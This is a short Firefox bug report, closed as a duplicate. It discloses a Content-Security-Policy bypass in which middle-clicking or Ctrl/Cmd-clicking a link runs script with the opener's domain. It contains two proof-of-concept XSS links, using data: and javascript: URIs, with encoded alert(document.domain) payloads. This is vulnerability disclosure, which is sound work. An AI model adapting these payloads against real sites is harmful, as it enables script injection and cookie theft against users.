1370792 - CSP bypass for new window opened with middle mouse

Status: RESOLVED DUPLICATE of bug 1296976

(Firefox :: Untriaged, defect)

Description

[Roman Shafigullin]

User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36

Steps to reproduce:

Content-Security-Policy: default-src 'none'

<a href="data:text/html,%3cscript%3e\u0061lert(document.domain)%3c/script%3e">data:</a>
<a href="javascript:'%3cscript%3e\u0061lert(document.domain)%3c/script%3e'">javascript:</a>

Press middle mouse button or CMD/CTRL/Shift + left click


Actual results:

New tab with alert message with opener domain, with access to cookie etc.


Expected results:

Chrome - Open and close new tab/CSP Error
Edge - Error page/CSP Error

Comment 2

[Frederik Braun [:freddy]]

Thank you for reporting this, Roman.
Please send email to [e-mail] instead of me personally.